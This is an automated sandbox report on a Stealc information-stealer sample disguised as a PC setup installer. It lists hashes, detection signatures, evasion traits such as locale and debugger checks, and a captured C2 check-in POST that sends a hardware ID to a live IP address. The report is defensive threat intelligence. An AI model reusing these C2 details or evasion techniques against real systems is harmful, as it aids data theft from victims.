Edit tour

Windows Analysis Report
Full_PC_Set-Up.exe

Overview

General Information

Sample name:	Full_PC_Set-Up.exe
Analysis ID:	1525664
MD5:	7400e305a002a18fbec6a6d189ef6879
SHA1:	04138fb49978d5005bd5e9be7c958227131d8437
SHA256:	32df795e1539a4c4adce359c6fcc9be616db4591937072197171c6c5c465297e
Tags:	exeuser-aachum
Infos:

Detection

Stealc

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Contains functionality to behave differently if execute on a Russian/Kazak computer

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Full_PC_Set-Up.exe (PID: 7444 cmdline: "C:\Users\user\Desktop\Full_PC_Set-Up.exe" MD5: 7400E305A002A18FBEC6A6D189EF6879)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1877669838.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1878986975.0000000002C60000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: Full_PC_Set-Up.exe PID: 7444	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Full_PC_Set-Up.exe PID: 7444	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T13:53:18.963298+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49735	45.200.148.115	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_0030D910 CreateFileW,CreateFileW,GetLastError,GetLastError,swprintf,CreateFileW,GetLastError,__wsplitpath,CloseHandle,CreateFileW,GetLastError,CloseHandle,CloseHandle,ReadFile,ReadFile,WriteFile,ReadFile,WriteFile,WriteFile,ReadFile,WriteFile,WriteFile,CloseHandle,CloseHandle,OpenEncryptedFileRawW,SetFilePointer,WriteEncryptedFileRaw,CloseEncryptedFileRaw,CloseHandle,DeleteFileW,GetLastError,CloseHandle,

0_2_0030D910

Source: Full_PC_Set-Up.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Full_PC_Set-Up.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\work\edr\bin\Release\7DataPartitionRecovery.pdb source: Full_PC_Set-Up.exe

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00374078 __EH_prolog3_GS,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,lstrlenW,		0_2_00374078
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_002CCA90 _memset,_memset,_memset,GetLogicalDrives,GetDriveTypeW,GetVolumeInformationW,GetLastError,CreateFileW,CloseHandle,DeleteFileW,FindFirstFileW,FindClose,CreateFileW,CloseHandle,		0_2_002CCA90

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49735 -> 45.200.148.115:80

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.200.148.115Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHDHost: 45.200.148.115Content-Length: 208Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 35 44 35 45 36 32 46 45 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 62 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="hwid"865D5E62FEE5845770397------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="build"b6------JDGCGDBGCAAEBFIECGHD--

Source: Joe Sandbox View

ASN Name: Africa-on-Cloud-ASZA Africa-on-Cloud-ASZA

Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.115
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.115
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.115
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.115
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.115
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.115
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.115

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 45.200.148.115Connection: Keep-AliveCache-Control: no-cache

Source: Full_PC_Set-Up.exe, 00000000.00000000.1798820680.00000000004DA000.00000002.00000001.01000000.00000003.sdmp, Full_PC_Set-Up.exe, 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: K*7-Data%d.%dSOFTWARE\EDRFreeRestoredSize\7drs.iniUrlIndexBuy\unins000.exehttp://7datarecoverysoftware.com/buy/7drs-st.phphttp://7datarecoverysoftware.com/buy/7drs.phphttp://7datarecoverysoftware.com/buy/7drs-ptb.phphttp://7datarecoverysoftware.com/?ref=apphttp://7datarecoverysoftware.com/support/?ref=apphttp://7datarecoverysoftware.com/update/http://www.facebook.com/pages/7-Data-Recovery-Software/145405585627896https://twitter.com/7Datahttp://7datarecoverysoftware.com/news/suite.xmlsupport@7datarecoverysoftware.com7datarecovery supportH{U@ equals www.facebook.com (Facebook)
Source: Full_PC_Set-Up.exe, 00000000.00000000.1798820680.00000000004DA000.00000002.00000001.01000000.00000003.sdmp, Full_PC_Set-Up.exe, 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: K*7-Data%d.%dSOFTWARE\EDRFreeRestoredSize\7drs.iniUrlIndexBuy\unins000.exehttp://7datarecoverysoftware.com/buy/7drs-st.phphttp://7datarecoverysoftware.com/buy/7drs.phphttp://7datarecoverysoftware.com/buy/7drs-ptb.phphttp://7datarecoverysoftware.com/?ref=apphttp://7datarecoverysoftware.com/support/?ref=apphttp://7datarecoverysoftware.com/update/http://www.facebook.com/pages/7-Data-Recovery-Software/145405585627896https://twitter.com/7Datahttp://7datarecoverysoftware.com/news/suite.xmlsupport@7datarecoverysoftware.com7datarecovery supportH{U@ equals www.twitter.com (Twitter)
Source: Full_PC_Set-Up.exe	String found in binary or memory: KA7-Data%d.%dSOFTWARE\EDRFreeRestoredSize\7drs.iniUrlIndexBuy\unins000.exehttp://7datarecoverysoftware.com/buy/7drs-st.phphttp://7datarecoverysoftware.com/buy/7drs.phphttp://7datarecoverysoftware.com/buy/7drs-ptb.phphttp://7datarecoverysoftware.com/?ref=apphttp://7datarecoverysoftware.com/support/?ref=apphttp://7datarecoverysoftware.com/update/http://www.facebook.com/pages/7-Data-Recovery-Software/145405585627896https://twitter.com/7Datahttp://7datarecoverysoftware.com/news/suite.xmlsupport@7datarecoverysoftware.com7datarecovery supportH{l@ equals www.facebook.com (Facebook)
Source: Full_PC_Set-Up.exe	String found in binary or memory: KA7-Data%d.%dSOFTWARE\EDRFreeRestoredSize\7drs.iniUrlIndexBuy\unins000.exehttp://7datarecoverysoftware.com/buy/7drs-st.phphttp://7datarecoverysoftware.com/buy/7drs.phphttp://7datarecoverysoftware.com/buy/7drs-ptb.phphttp://7datarecoverysoftware.com/?ref=apphttp://7datarecoverysoftware.com/support/?ref=apphttp://7datarecoverysoftware.com/update/http://www.facebook.com/pages/7-Data-Recovery-Software/145405585627896https://twitter.com/7Datahttp://7datarecoverysoftware.com/news/suite.xmlsupport@7datarecoverysoftware.com7datarecovery supportH{l@ equals www.twitter.com (Twitter)

Source: unknown

HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHDHost: 45.200.148.115Content-Length: 208Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 35 44 35 45 36 32 46 45 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 62 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="hwid"865D5E62FEE5845770397------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="build"b6------JDGCGDBGCAAEBFIECGHD--

Source: Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.115
Source: Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.115/
Source: Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000000FF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.115/0a616124ff2f2b69.php
Source: Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.115/0a616124ff2f2b69.php2
Source: Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000000FF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.115/0a616124ff2f2b69.phpM
Source: Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.115/0a616124ff2f2b69.phpS
Source: Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000000FF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.115/0a616124ff2f2b69.phpq
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://7datarecoverysoftware.com/7dptr-order/?ref=apphttp://7datarecoverysoftware.comhttp://7datarec
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://7datarecoverysoftware.com/buy/7drs-st.phphttp://7datarecoverysoftware.com/buy/7drs.phphttp://
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://7datarecoverysoftware.com/enable-usb-debugging/http://7datarecoverysoftware.com/usb-connect-a
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://aia.startssl.com/certs/ca.crt02
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://aia1.wosign.com/ca1g2-code3.cer0
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://aia1.wosign.com/ca1g2-ts.cer0
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://aia1.wosign.com/ca1g2.ts.cer0
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://aia1.wosign.com/ca6.code3.cer06
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://crl.startssl.com/sfsca.crl0
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://crls1.wosign.com/ca1.crl0h
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://crls1.wosign.com/ca1.crl0k
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://crls1.wosign.com/ca1g2-ts.crl0m
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://crls1.wosign.com/ca6-code3.crl0P
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://ocsp.startssl.com/ca00
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://ocsp1.wosign.com/ca10/
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://ocsp1.wosign.com/ca102
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://ocsp1.wosign.com/ca1g2/ts0/
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://ocsp1.wosign.com/ca6/code300
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://www.kungsoft.com
Source: Full_PC_Set-Up.exe	String found in binary or memory: http://www.wosign.com/policy/0

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_004B6680: _memset,DeviceIoControl,

0_2_004B6680

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0038E41F	0_2_0038E41F
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0038D97B	0_2_0038D97B
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_002BA050	0_2_002BA050
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_002DA0C0	0_2_002DA0C0
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_003960CB	0_2_003960CB
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00484130	0_2_00484130
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_004AC1A9	0_2_004AC1A9
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_003601D0	0_2_003601D0
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_004042B0	0_2_004042B0
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00324370	0_2_00324370
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0039E486	0_2_0039E486
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0039C75A	0_2_0039C75A
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00366A4A	0_2_00366A4A
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00404AB0	0_2_00404AB0
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0048EBD0	0_2_0048EBD0
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00372CFB	0_2_00372CFB
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0038ED0D	0_2_0038ED0D
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0040ED80	0_2_0040ED80
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_003D4E30	0_2_003D4E30
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_002F2E30	0_2_002F2E30
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_003F8F30	0_2_003F8F30
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0039EF0E	0_2_0039EF0E
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_002C8FB0	0_2_002C8FB0
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_002F7030	0_2_002F7030
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00305140	0_2_00305140
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00321200	0_2_00321200
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00323370	0_2_00323370
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0040F3B0	0_2_0040F3B0
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_003853CA	0_2_003853CA
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0038D4D0	0_2_0038D4D0
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0038D5DD	0_2_0038D5DD
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_004016E0	0_2_004016E0
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_002DB6E0	0_2_002DB6E0
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00403710	0_2_00403710
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0038D7B5	0_2_0038D7B5
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_002B3800	0_2_002B3800
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0030F870	0_2_0030F870
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0038D8B2	0_2_0038D8B2
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_003399B0	0_2_003399B0
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00407A20	0_2_00407A20
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0048DB70	0_2_0048DB70
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00391BAB	0_2_00391BAB
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_003D5B80	0_2_003D5B80
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00403D30	0_2_00403D30

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: String function: 00383725 appears 37 times
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: String function: 0040E430 appears 123 times
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: String function: 00388CFC appears 45 times
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: String function: 0040E370 appears 60 times
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: String function: 00388BEF appears 49 times

Source: Full_PC_Set-Up.exe

Static PE information: invalid certificate

Source: Full_PC_Set-Up.exe

Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)

Source: Full_PC_Set-Up.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Full_PC_Set-Up.exe

Binary string: B\Device\HarddiskDmVolumes\%c:IOCTL_DISK_GET_DRIVE_LAYOUT_EX GetLastError %dIOCTL_DISK_GET_DRIVE_LAYOUT GetLastError %d\Device\Harddisk%u\Partition%u\\.\MountPointManager\DosDevices\\??\Volume{IOCTL_MOUNTMGR_QUERY_POINTS GetLastError %dKernel32.dllGetVolumePathNamesForVolumeNameW\\?\Volume{%s%02x%02x%02x%02x-%02x%02x-%02x%02x-}\%02x%02x-%02x%02x%02x%02x%02x%02x%sbatch_read_sector start %I64d, count: %I64dni(%d) > c_block_count

Source: classification engine

Classification label: mal76.troj.expl.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_002CC8D0 GetDiskFreeSpaceExW,

0_2_002CC8D0

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_002ECA70 GetWindowRect,CoCreateInstance,SendMessageW,SendMessageW,SendMessageW,

0_2_002ECA70

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_0036A09D __EH_prolog3_catch,FindResourceW,LoadResource,LockResource,GetDesktopWindow,IsWindowEnabled,EnableWindow,EnableWindow,GetActiveWindow,SetActiveWindow,FreeResource,

0_2_0036A09D

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\AR7OIXQT.htm

Jump to behavior

Source: Full_PC_Set-Up.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Full_PC_Set-Up.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Full_PC_Set-Up.exe

Static file information: File size 7230768 > 1048576

Source: Full_PC_Set-Up.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x248800
Source: Full_PC_Set-Up.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x14fa00
Source: Full_PC_Set-Up.exe	Static PE information: Raw size of .reloc is bigger than: 0x100000 < 0x298a00

Source: Full_PC_Set-Up.exe

Static PE information: More than 200 imports for USER32.dll

Source: Full_PC_Set-Up.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Full_PC_Set-Up.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Full_PC_Set-Up.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Full_PC_Set-Up.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Full_PC_Set-Up.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Full_PC_Set-Up.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Full_PC_Set-Up.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Full_PC_Set-Up.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: d:\work\edr\bin\Release\7DataPartitionRecovery.pdb source: Full_PC_Set-Up.exe

Source: Full_PC_Set-Up.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Full_PC_Set-Up.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Full_PC_Set-Up.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Full_PC_Set-Up.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Full_PC_Set-Up.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_00298550 GetModuleHandleW,LoadLibraryW,GetProcAddress,GetObjectW,

0_2_00298550

Source: Full_PC_Set-Up.exe

Static PE information: real checksum: 0x48470d should be: 0x6f0441

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00388CC7 push ecx; ret		0_2_00388CDA
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00388D41 push ecx; ret		0_2_00388D54

Malware Analysis System Evasion

Contains functionality to behave differently if execute on a Russian/Kazak computer

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_0029A370 GetSystemDefaultLangID, push 00000419h

0_2_0029A370

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

API coverage: 0.1 %

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00374078 __EH_prolog3_GS,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,lstrlenW,		0_2_00374078
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_002CCA90 _memset,_memset,_memset,GetLogicalDrives,GetDriveTypeW,GetVolumeInformationW,GetLastError,CreateFileW,CloseHandle,DeleteFileW,FindFirstFileW,FindClose,CreateFileW,CloseHandle,		0_2_002CCA90

Source: Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
